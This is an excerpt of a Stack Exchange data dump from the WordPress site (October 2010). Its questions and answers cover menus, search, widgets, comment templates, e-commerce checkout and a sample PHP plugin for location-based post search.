  <row Id="2699" PostTypeId="2" ParentId="2691" CreationDate="2010-10-07T15:15:45.197" Score="2" ViewCount="" Body="&lt;p&gt;_Menus are somewhat confusing around there. Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;        'theme_location' =&amp;gt; 'main-navigation',&#xA;        'container_id' =&amp;gt; 'navigation',&#xA;        'fallback_cb' =&amp;gt; 'wp_page_menu'&#xA;        );&#xA;    wp_nav_menu($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;theme_location&lt;/code&gt; tries to display menu that is attached to this location. &lt;code&gt;menu&lt;/code&gt; tries to display menu by slug/id (not location of menu, but actual menu that you create in admin area).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you are mixing up location with menu slug, it gets confused and just serves first menu it can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_nav_menu&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_nav_menu()&lt;/code&gt;&lt;/a&gt; documentation for full description of logic behind it.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-10-07T22:12:27.693" LastActivityDate="2010-10-07T22:12:27.693" CommentCount="4" />
  <row Id="2700" PostTypeId="2" ParentId="2623" CreationDate="2010-10-07T15:56:16.363" Score="2" ViewCount="" Body="&lt;p&gt;Is this the standard WordPress search? Because that &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/query.php#L1840&quot; rel=&quot;nofollow&quot;&gt;doesn't seem to include taxonomies&lt;/a&gt; (not even standard, like categories and tags) in the search. The code searches in &lt;code&gt;post_title&lt;/code&gt; and &lt;code&gt;post_content&lt;/code&gt;, but if you want to include anything else you should hook into the &lt;code&gt;posts_search&lt;/code&gt; filter.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-07T15:56:16.363" />
  <row Id="2701" PostTypeId="2" ParentId="2682" CreationDate="2010-10-07T16:01:14.363" Score="4" ViewCount="" Body="&lt;p&gt;If the search field is implemented as a widget, this can be done via the administration interface. Just navigate to Appearance &gt; Widgets and drag the search widget from the widget area to the &quot;Available Widgets&quot; pane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the search field is hard-coded into the theme, it might be easier to edit the CSS rather than the HTML and PHP. Here's how:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;http://www.getfirebug.com/&quot; rel=&quot;nofollow&quot;&gt;Firebug&lt;/a&gt; or a similar tool to locate the DIV element containing the search code. &lt;/li&gt;&#xA;&lt;li&gt;In the theme's CSS file (probably style.css), add &lt;code&gt;display: none&lt;/code&gt; to that DIV. That's it!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is a minimally invasive approach. If you ever want to re-enable the search bar, just remove the &lt;code&gt;display: none&lt;/code&gt; statement from your CSS.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2010-10-07T16:01:14.363" CommentCount="1" />
  <row Id="2702" PostTypeId="2" ParentId="1619" CreationDate="2010-10-07T16:08:04.073" Score="1" ViewCount="" Body="&lt;p&gt;I needed to do something similar (inserting external images into posts from a specific source) and I couldn't find any appropriate hooks or functions to use, so I ended up copying the relevant code from &lt;code&gt;wp-admin/includes/media.php&lt;/code&gt; and &lt;code&gt;wp-admin/media-upload.php&lt;/code&gt; into my plugin in order to use the functionality.&lt;/p&gt;&#xA;" OwnerUserId="300" LastActivityDate="2010-10-07T16:08:04.073" CommentCount="3" />
  <row Id="2703" PostTypeId="2" ParentId="2605" CreationDate="2010-10-07T16:20:04.303" Score="4" ViewCount="" Body="&lt;p&gt;Here is a &lt;a href=&quot;http://richhewlett.com/wlwsourcecodeplugin/&quot; rel=&quot;nofollow&quot;&gt;WLW plugin&lt;/a&gt; that seems to do what you want, made specically for WordPress.com hosted blogs.&lt;/p&gt;&#xA;" OwnerUserId="300" LastActivityDate="2010-10-07T16:20:04.303" CommentCount="5" />
  <row Id="2704" PostTypeId="2" ParentId="591" CreationDate="2010-10-07T16:34:20.503" Score="0" ViewCount="" Body="&lt;p&gt;Why don't you write a small PHP function that maps the WordPress format specifiers to the Any+Time™ specifiers?  Then you can accomplish your goal :)&lt;/p&gt;&#xA;" LastActivityDate="2010-10-07T16:34:20.503" CommentCount="1" />
  <row Id="2705" PostTypeId="1" CreationDate="2010-10-07T17:48:47.933" Score="0" ViewCount="190" Body="&lt;p&gt;After lots of research, I'm considering using Wordpress and either the WP e-commerce plugin or the Shopp plugin. We'll also integrate with PayPal to do the actual credit card transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The products that we will be selling will be a combination of regular products and &quot;odd&quot; products that have crazy dimensions and weights. Whenever one of these &quot;odd&quot; products are part of the shopping cart, we want the transaction to be passed on to a sales associate. The sales associate will look at the order and provide estimated shipping information (they need to figure out how to group and package odd products with regular products, if possible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will the two plugins that I mentioned allow you to intercept the checkout process to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something that ecommerce plugins/engines allow you to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking of just tagging these &quot;odd&quot; products and then I would hopefully be able to &quot;hook&quot; into the process somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note: I also posted this on &lt;a href=&quot;http://stackoverflow.com/questions/3883650/e-commerce-customizing-checkout-process-based-on-product&quot;&gt;StackOverflow&lt;/a&gt; but thought that this is also relevant here.)&lt;/p&gt;&#xA;" OwnerUserId="448" LastActivityDate="2010-10-07T18:07:55.667" Title="e-commerce, customizing checkout process based on product" Tags="&lt;e-commerce&gt;" AnswerCount="1" />
  <row Id="2706" PostTypeId="2" ParentId="2705" CreationDate="2010-10-07T18:07:55.667" Score="1" ViewCount="" Body="&lt;p&gt;The entire goal of using an e-commerce solution like these plug-ins is to &lt;em&gt;automate&lt;/em&gt; the process ... meaning there's typically no way to intercept the purchase process for this kind of special handling (that would defeat the purpose of automation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One option you have, though, is to just not list your &quot;odd&quot; products in the e-commerce solution.  List them separately (on a special page, in a different section) so that they can be handled separately.  This would prevent them from ever being added to the user's shopping cart and allow regular purchases to occur instantly as normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An additional problem you'll be facing if you try to build this kind of checkout intervention into any e-commerce solution: &lt;strong&gt;security&lt;/strong&gt;.  People are wary of buying things online to begin with, and placing this additional step either requires users to a) authorize the purchase twice (once when they're shopping, again when your sales rep deals with the purchase) or b) provide you license to charge whatever you want after a sales rep handles the purchase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option A will be frustrating to users.  They want to make the purchase, receive their goods, and be done with it.  Option B opens you up to a lot of risk because &lt;em&gt;you&lt;/em&gt; become responsible for someone else's account information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So while it &lt;em&gt;might&lt;/em&gt; be possible to &quot;hook into the process somewhere&quot; with one of these plug-ins, that would be a very dangerous thing to do.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-07T18:07:55.667" CommentCount="4" />
  <row Id="2707" PostTypeId="1" AcceptedAnswerId="2708" CreationDate="2010-10-07T18:22:02.590" Score="1" ViewCount="84" Body="&lt;p&gt;I have a client that wants to use a particular theme without modification, but will likely want to have more widgets than are available with a given theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to add widgets to the list of those available without modifying the theme?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1156" LastActivityDate="2010-10-07T18:56:01.877" Title="Add widgets to available widgets section without changing the theme?" Tags="&lt;theme-development&gt;&lt;widgets&gt;" AnswerCount="1" />
  <row Id="2708" PostTypeId="2" ParentId="2707" CreationDate="2010-10-07T18:56:01.877" Score="2" ViewCount="" Body="&lt;p&gt;Yes, you can add widgets through plug-ins the same way you add them through themes.  So move the widget code from your &lt;code&gt;functions.php&lt;/code&gt; file and drop it inside a custom plug-in.  You'll get the same functionality without the need to modify your theme.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-07T18:56:01.877" CommentCount="2" />
  <row Id="2709" PostTypeId="1" AcceptedAnswerId="2713" CreationDate="2010-10-07T19:01:21.217" Score="1" ViewCount="122" Body="&lt;p&gt;Hey, there. I just got this site up and going. &lt;a href=&quot;http://www.paledogstudios.com&quot; rel=&quot;nofollow&quot;&gt;http://www.paledogstudios.com&lt;/a&gt; It works fine except for the fact I can't seem to see past comments (this blog was imported from blogger) or add comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it's the code not the settings since someone else told me but he didn't help me further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He said it was probably on the index.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help?&lt;/p&gt;&#xA;" OwnerUserId="1182" LastActivityDate="2010-10-07T21:11:25.563" Title="I can't view or add comments" Tags="&lt;php&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="2710" PostTypeId="2" ParentId="2709" CreationDate="2010-10-07T19:15:24.413" Score="0" ViewCount="" Body="&lt;p&gt;From the looks of things, you're missing a call to &lt;code&gt;comments_template()&lt;/code&gt; in your files.  I wouldn't recommend putting this in &lt;code&gt;index.php&lt;/code&gt; (that's the file that generates your entire list of blogs ... listing comments there would make your page &lt;em&gt;huge&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you want to do is add &lt;code&gt;&amp;lt;?php comments_template(); ?&amp;gt;&lt;/code&gt; in your &lt;code&gt;single.php&lt;/code&gt; file (the template file for Single Posts) before &lt;code&gt;&amp;lt;?php endwhile; ?&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So an example from the TwentyTen theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;/div&amp;gt;&amp;lt;!-- #post-## --&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;nav-below&quot; class=&quot;navigation&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;nav-previous&quot;&amp;gt;&amp;lt;?php previous_post_link( '%link', '&amp;lt;span class=&quot;meta-nav&quot;&amp;gt;' . _x( '&amp;amp;larr;', 'Previous post link', 'twentyten' ) . '&amp;lt;/span&amp;gt; %title' ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;nav-next&quot;&amp;gt;&amp;lt;?php next_post_link( '%link', '%title &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;' . _x( '&amp;amp;rarr;', 'Next post link', 'twentyten' ) . '&amp;lt;/span&amp;gt;' ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #nav-below --&amp;gt;&#xA;&#xA;    &amp;lt;?php comments_template( '', true ); ?&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; // end of the loop. ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see they're placing the comment block after contextual navigation but before the loop closes.  This is what you'll want to do in your own theme as well.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-07T19:15:24.413" CommentCount="6" />
  <row Id="2711" PostTypeId="2" ParentId="2286" CreationDate="2010-10-07T20:27:00.497" Score="3" ViewCount="" Body="&lt;p&gt;The MySQL documentation also includes information on spatial extensions. Oddly, the standard distance() function isn't available, but check this page:&#xA;&lt;a href=&quot;http://dev.mysql.com/tech-resources/articles/4.1/gis-with-mysql.html&quot; rel=&quot;nofollow&quot;&gt;http://dev.mysql.com/tech-resources/articles/4.1/gis-with-mysql.html&lt;/a&gt;&#xA;for  details on how to &quot;convert the two POINT values to a LINESTRING and then compute the length of that.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that every vendor is likely to offer different latitudes and longitudes representing the &quot;centroid&quot; of a zip code. It's also worth knowing that there are no real defined zip code &quot;boundary&quot; files. Each vendor will have its own set of boundaries that roughly match the specific lists of addresses that make up a USPS zip code. (For instance, in some &quot;boundaries&quot; you would need to include both sides of the street, in others, just one.) ZIP Code Tabulation Areas (ZCTAs), widely used by vendors, &quot;do not precisely depict ZIP Code delivery areas, and do not include all ZIP Codes used for mail delivery&quot; &lt;a href=&quot;http://www.census.gov/geo/www/cob/zt_metadata.html&quot; rel=&quot;nofollow&quot;&gt;http://www.census.gov/geo/www/cob/zt_metadata.html&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many downtown businesses will have their own zip code. You'll want as complete a dataset as possible, so be sure that you find a list of zipcodes that includes both &quot;point&quot; zip codes (usually businesses), and &quot;boundary&quot; zip codes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have experience working with the zipcode data from &lt;a href=&quot;http://www.semaphorecorp.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.semaphorecorp.com/&lt;/a&gt;. Even that wasn't 100% accurate. For instance, when my campus took on a new mailing address and new zip code, the zip was misplaced. That said, it was the only data source I found that even HAD the new zip code at all, so soon after it was created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a recipe in my book for exactly how to meet your request... in Drupal. It relied on the Google Maps Tools module ( &lt;a href=&quot;http://drupal.org/project/gmaps&quot; rel=&quot;nofollow&quot;&gt;http://drupal.org/project/gmaps&lt;/a&gt;, not to be confused with &lt;a href=&quot;http://drupal.org/project/gmap&quot; rel=&quot;nofollow&quot;&gt;http://drupal.org/project/gmap&lt;/a&gt;, also a worthy module.) You might find some helpful sample code in those modules, though of course, they won't work out of the box in WordPress.&lt;/p&gt;&#xA;" OwnerUserId="1079" LastActivityDate="2010-10-07T20:27:00.497" />
  <row Id="2712" PostTypeId="2" ParentId="468" CreationDate="2010-10-07T21:04:23.417" Score="4" ViewCount="" Body="&lt;p&gt;This might be too late for you, but I'm going to reply anyway, with &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2286/how-can-i-implement-a-location-based-zip-code-search-in-wordpress/2678#2678&quot;&gt;a similar answer as I gave to this related question&lt;/a&gt;, so future visitors can refer to both questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would not store these values in the post metadata table, or at least not &lt;em&gt;only&lt;/em&gt; there. You want a table with &lt;code&gt;post_id&lt;/code&gt;, &lt;code&gt;lat&lt;/code&gt;, &lt;code&gt;lon&lt;/code&gt; columns, so you can place an index of &lt;code&gt;lat, lon&lt;/code&gt; and query on that. This should not be too hard to keep up to date with a hook on post save and update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you query the database, you define a &lt;em&gt;bounding box&lt;/em&gt; around the starting point, so you can do an efficient query for all &lt;code&gt;lat, lon&lt;/code&gt; pairs between the North-South and East-West borders of the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you get this reduced result, you can do a more advanced (circular or actual driving directions) distance calculation to filter out the locations that are in the corners of the bounding box and therefor further away than you desire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you find a simple code example that works in the admin area. You need to create the extra database table yourself. The code is ordered from most to least interesting.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Monkeyman geo test&#xA;Plugin URI: http://www.monkeyman.be&#xA;Description: Geolocation test&#xA;Version: 1.0&#xA;Author: Jan Fabry&#xA;*/&#xA;&#xA;class Monkeyman_Geo&#xA;{&#xA;    public function __construct()&#xA;    {&#xA;        add_action('init', array(&amp;amp;$this, 'registerPostType'));&#xA;        add_action('save_post', array(&amp;amp;$this, 'saveLatLon'), 10, 2);&#xA;&#xA;        add_action('admin_menu', array(&amp;amp;$this, 'addAdminPages'));&#xA;    }&#xA;&#xA;    /**&#xA;     * On post save, save the metadata in our special table&#xA;     * (post_id INT, lat DECIMAL(10,5), lon DECIMAL (10,5))&#xA;     * Index on lat, lon&#xA;     */&#xA;    public function saveLatLon($post_id, $post)&#xA;    {&#xA;        if ($post-&amp;gt;post_type != 'monkeyman_geo') {&#xA;            return;&#xA;        }&#xA;        $lat = floatval(get_post_meta($post_id, 'lat', true));&#xA;        $lon = floatval(get_post_meta($post_id, 'lon', true));&#xA;&#xA;        global $wpdb;&#xA;        $result = $wpdb-&amp;gt;replace(&#xA;            $wpdb-&amp;gt;prefix . 'monkeyman_geo',&#xA;            array(&#xA;                'post_id' =&amp;gt; $post_id,&#xA;                'lat' =&amp;gt; $lat,&#xA;                'lon' =&amp;gt; $lon,&#xA;            ),&#xA;            array('%s', '%F', '%F')&#xA;        );&#xA;    }&#xA;&#xA;    public function addAdminPages()&#xA;    {&#xA;        add_management_page( 'Quick location generator', 'Quick generator', 'edit_posts', __FILE__  . 'generator', array($this, 'doGeneratorPage'));&#xA;        add_management_page( 'Location test', 'Location test', 'edit_posts', __FILE__ . 'test', array($this, 'doTestPage'));&#xA;&#xA;    }&#xA;&#xA;    /**&#xA;     * Simple test page with a location and a distance&#xA;     */&#xA;    public function doTestPage()&#xA;    {&#xA;        if (!array_key_exists('search', $_REQUEST)) {&#xA;            $default_lat = ini_get('date.default_latitude');&#xA;            $default_lon = ini_get('date.default_longitude');&#xA;&#xA;            echo &amp;lt;&amp;lt;&amp;lt;EOF&#xA;&amp;lt;form action=&quot;&quot; method=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;Center latitude: &amp;lt;input size=&quot;10&quot; name=&quot;center_lat&quot; value=&quot;{$default_lat}&quot;/&amp;gt;&#xA;        &amp;lt;br/&amp;gt;Center longitude: &amp;lt;input size=&quot;10&quot; name=&quot;center_lon&quot; value=&quot;{$default_lon}&quot;/&amp;gt;&#xA;        &amp;lt;br/&amp;gt;Max distance (km): &amp;lt;input size=&quot;5&quot; name=&quot;max_distance&quot; value=&quot;100&quot;/&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;search&quot; value=&quot;Search!&quot;/&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;EOF;&#xA;            return;&#xA;        }&#xA;        $center_lon = floatval($_REQUEST['center_lon']);&#xA;        $center_lat = floatval($_REQUEST['center_lat']);&#xA;        $max_distance = floatval($_REQUEST['max_distance']);&#xA;&#xA;        var_dump(self::getPostsUntilDistanceKm($center_lon, $center_lat, $max_distance));&#xA;    }&#xA;&#xA;    /**&#xA;     * Get all posts that are closer than the given distance to the given location&#xA;     */&#xA;    public static function getPostsUntilDistanceKm($center_lon, $center_lat, $max_distance)&#xA;    {&#xA;        list($north_lat, $east_lon, $south_lat, $west_lon) = self::getBoundingBox($center_lat, $center_lon, $max_distance);&#xA;&#xA;        $geo_posts = self::getPostsInBoundingBox($north_lat, $east_lon, $south_lat, $west_lon);&#xA;&#xA;        $close_posts = array();&#xA;        foreach ($geo_posts as $geo_post) {&#xA;            $post_lat = floatval($geo_post-&amp;gt;lat);&#xA;            $post_lon = floatval($geo_post-&amp;gt;lon);&#xA;            $post_distance = self::calculateDistanceKm($center_lat, $center_lon, $post_lat, $post_lon);&#xA;            if ($post_distance &amp;lt; $max_distance) {&#xA;                $close_posts[$geo_post-&amp;gt;post_id] = $post_distance;&#xA;            }&#xA;        }&#xA;        return $close_posts;&#xA;    }&#xA;&#xA;    /**&#xA;     * Select all posts ids in a given bounding box&#xA;     */&#xA;    public static function getPostsInBoundingBox($north_lat, $east_lon, $south_lat, $west_lon)&#xA;    {&#xA;        global $wpdb;&#xA;        $sql = $wpdb-&amp;gt;prepare('SELECT post_id, lat, lon FROM ' . $wpdb-&amp;gt;prefix . 'monkeyman_geo WHERE lat &amp;lt; %F AND lat &amp;gt; %F AND lon &amp;lt; %F AND lon &amp;gt; %F', array($north_lat, $south_lat, $west_lon, $east_lon));&#xA;        return $wpdb-&amp;gt;get_results($sql, OBJECT_K);&#xA;    }&#xA;&#xA;    /* Geographical calculations: distance and bounding box */&#xA;&#xA;    /**&#xA;     * Calculate the distance between two coordinates&#xA;     * http://stackoverflow.com/questions/365826/calculate-distance-between-2-gps-coordinates/1416950#1416950&#xA;     */&#xA;    public static function calculateDistanceKm($a_lat, $a_lon, $b_lat, $b_lon)&#xA;    {&#xA;        $d_lon = deg2rad($b_lon - $a_lon);&#xA;        $d_lat = deg2rad($b_lat - $a_lat);&#xA;        $a = pow(sin($d_lat/2.0), 2) + cos(deg2rad($a_lat)) * cos(deg2rad($b_lat)) * pow(sin($d_lon/2.0), 2);&#xA;        $c = 2 * atan2(sqrt($a), sqrt(1-$a));&#xA;        $d = 6367 * $c;&#xA;&#xA;        return $d;&#xA;    }&#xA;&#xA;    /**&#xA;     * Create a box around a given point that extends a certain distance in each direction&#xA;     * http://www.colorado.edu/geography/gcraft/warmup/aquifer/html/distance.html&#xA;     *&#xA;     * @todo: Mind the gap at 180 degrees!&#xA;     */&#xA;    public static function getBoundingBox($center_lat, $center_lon, $distance_km)&#xA;    {&#xA;        $one_lat_deg_in_km = 111.321543; // Fixed&#xA;        $one_lon_deg_in_km = cos(deg2rad($center_lat)) * 111.321543; // Depends on latitude&#xA;&#xA;        $north_lat = $center_lat + ($distance_km / $one_lat_deg_in_km);&#xA;        $south_lat = $center_lat - ($distance_km / $one_lat_deg_in_km);&#xA;&#xA;        $east_lon = $center_lon - ($distance_km / $one_lon_deg_in_km);&#xA;        $west_lon = $center_lon + ($distance_km / $one_lon_deg_in_km);&#xA;&#xA;        return array($north_lat, $east_lon, $south_lat, $west_lon);&#xA;    }&#xA;&#xA;    /* Below this it's not interesting anymore */&#xA;&#xA;    /**&#xA;     * Generate some test data&#xA;     */&#xA;    public function doGeneratorPage()&#xA;    {&#xA;        if (!array_key_exists('generate', $_REQUEST)) {&#xA;            $default_lat = ini_get('date.default_latitude');&#xA;            $default_lon = ini_get('date.default_longitude');&#xA;&#xA;            echo &amp;lt;&amp;lt;&amp;lt;EOF&#xA;&amp;lt;form action=&quot;&quot; method=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;Number of posts: &amp;lt;input size=&quot;5&quot; name=&quot;post_count&quot; value=&quot;10&quot;/&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;Center latitude: &amp;lt;input size=&quot;10&quot; name=&quot;center_lat&quot; value=&quot;{$default_lat}&quot;/&amp;gt;&#xA;        &amp;lt;br/&amp;gt;Center longitude: &amp;lt;input size=&quot;10&quot; name=&quot;center_lon&quot; value=&quot;{$default_lon}&quot;/&amp;gt;&#xA;        &amp;lt;br/&amp;gt;Max distance (km): &amp;lt;input size=&quot;5&quot; name=&quot;max_distance&quot; value=&quot;100&quot;/&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;generate&quot; value=&quot;Generate!&quot;/&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;EOF;&#xA;            return;&#xA;        }&#xA;        $post_count = intval($_REQUEST['post_count']);&#xA;        $center_lon = floatval($_REQUEST['center_lon']);&#xA;        $center_lat = floatval($_REQUEST['center_lat']);&#xA;        $max_distance = floatval($_REQUEST['max_distance']);&#xA;&#xA;        list($north_lat, $east_lon, $south_lat, $west_lon) = self::getBoundingBox($center_lat, $center_lon, $max_distance);&#xA;&#xA;&#xA;        add_action('save_post', array(&amp;amp;$this, 'setPostLatLon'), 5);&#xA;        $precision = 100000;&#xA;        for ($p = 0; $p &amp;lt; $post_count; $p++) {&#xA;            self::$currentRandomLat = mt_rand($south_lat * $precision, $north_lat * $precision) / $precision;&#xA;            self::$currentRandomLon = mt_rand($west_lon * $precision, $east_lon * $precision) / $precision;&#xA;&#xA;            $location = sprintf('(%F, %F)', self::$currentRandomLat, self::$currentRandomLon);&#xA;&#xA;            $post_data = array(&#xA;                'post_status' =&amp;gt; 'publish',&#xA;                'post_type' =&amp;gt; 'monkeyman_geo',&#xA;                'post_content' =&amp;gt; 'Point at ' . $location,&#xA;                'post_title' =&amp;gt; 'Point at ' . $location,&#xA;            );&#xA;&#xA;            var_dump(wp_insert_post($post_data));&#xA;        }&#xA;    }&#xA;&#xA;    public static $currentRandomLat = null;&#xA;    public static $currentRandomLon = null;&#xA;&#xA;    /**&#xA;     * Because I didn't know how to save meta data with wp_insert_post,&#xA;     * I do it here&#xA;     */&#xA;    public function setPostLatLon($post_id)&#xA;    {&#xA;        add_post_meta($post_id, 'lat', self::$currentRandomLat);&#xA;        add_post_meta($post_id, 'lon', self::$currentRandomLon);&#xA;    }&#xA;&#xA;    /**&#xA;     * Register a simple post type for us&#xA;     */&#xA;    public function registerPostType()&#xA;    {&#xA;        register_post_type(&#xA;            'monkeyman_geo',&#xA;            array(&#xA;                'label' =&amp;gt; 'Geo Location',&#xA;                'labels' =&amp;gt; array(&#xA;                    'name' =&amp;gt; 'Geo Locations',&#xA;                    'singular_name' =&amp;gt; 'Geo Location',&#xA;                    'add_new' =&amp;gt; 'Add new',&#xA;                    'add_new_item' =&amp;gt; 'Add new location',&#xA;                    'edit_item' =&amp;gt; 'Edit location',&#xA;                    'new_item' =&amp;gt; 'New location',&#xA;                    'view_item' =&amp;gt; 'View location',&#xA;                    'search_items' =&amp;gt; 'Search locations',&#xA;                    'not_found' =&amp;gt; 'No locations found',&#xA;                    'not_found_in_trash' =&amp;gt; 'No locations found in trash',&#xA;                    'parent_item_colon' =&amp;gt; null,&#xA;                ),&#xA;                'description' =&amp;gt; 'Geographical locations',&#xA;                'public' =&amp;gt; true,&#xA;                'exclude_from_search' =&amp;gt; false,&#xA;                'publicly_queryable' =&amp;gt; true,&#xA;                'show_ui' =&amp;gt; true,&#xA;                'menu_position' =&amp;gt; null,&#xA;                'menu_icon' =&amp;gt; null,&#xA;                'capability_type' =&amp;gt; 'post',&#xA;                'capabilities' =&amp;gt; array(),&#xA;                'hierarchical' =&amp;gt; false,&#xA;                'supports' =&amp;gt; array(&#xA;                    'title',&#xA;                    'editor',&#xA;                    'custom-fields',&#xA;                ),&#xA;                'register_meta_box_cb' =&amp;gt; null,&#xA;                'taxonomies' =&amp;gt; array(),&#xA;                'permalink_epmask' =&amp;gt; EP_PERMALINK,&#xA;                'rewrite' =&amp;gt; array(&#xA;                    'slug' =&amp;gt; 'locations',&#xA;                ),&#xA;                'query_var' =&amp;gt; true,&#xA;                'can_export' =&amp;gt; true,&#xA;                'show_in_nav_menus' =&amp;gt; true,&#xA;            )&#xA;        );&#xA;    }&#xA;}&#xA;&#xA;$monkeyman_Geo_instance = new Monkeyman_Geo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-10-08T20:30:39.527" LastActivityDate="2010-10-08T20:30:39.527" CommentCount="3" />
  <row Id="2713" PostTypeId="2" ParentId="2709" CreationDate="2010-10-07T21:11:25.563" Score="1" ViewCount="" Body="&lt;p&gt;It appears that your posts titles do not link to the single post pages, they link to the archive page. By example, the lastest article &quot;It really is that small&quot; links to &quot;http://www.paledogstudios.com/2010/10/04/&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error should be in your theme index.php file.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-07T21:11:25.563" CommentCount="1" />
  <row Id="2714" PostTypeId="1" CreationDate="2010-10-07T23:39:14.863" Score="1" ViewCount="235" Body="&lt;p&gt;I have a ton of posts which display in descending order by date on my home page. I wanted to re-order them so I edited the publish date on some of them. However, my order of posts on the home page appears to be the same. Shouldn't it update the order since I changed the post dates?&lt;/p&gt;&#xA;" OwnerUserId="1136" LastActivityDate="2011-05-13T13:14:11.960" Title="Changing publish date does not update post order" Tags="&lt;posts&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="2715" PostTypeId="2" ParentId="2714" CreationDate="2010-10-07T23:57:05.947" Score="4" ViewCount="" Body="&lt;p&gt;Yes it should, are you using a cache plugin like wp-super cache (or another?)&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2010-10-07T23:57:05.947" CommentCount="5" />
  <row Id="2716" PostTypeId="2" ParentId="2480" CreationDate="2010-10-08T02:26:12.140" Score="1" ViewCount="" Body="&lt;p&gt;The new 3.0 menu will do this for categories, just create a custom link as the 'parent' tab and give it a url of &lt;a href=&quot;http://#&quot; rel=&quot;nofollow&quot;&gt;http://#&lt;/a&gt; and then add our categories as sub items but it doesn't AFAIK give you a option for dealing with date based archives.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2010-10-08T02:26:12.140" />
  <row Id="2717" PostTypeId="2" ParentId="2658" CreationDate="2010-10-08T02:29:19.743" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/android-application-widget/&quot; rel=&quot;nofollow&quot;&gt;This plugin&lt;/a&gt; will display information from the Android Market, it may be able to be modified to include statistics, but I'm not sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, there are no existing plugins that do what you are asking.&lt;/p&gt;&#xA;" OwnerUserId="300" LastActivityDate="2010-10-08T02:29:19.743" />
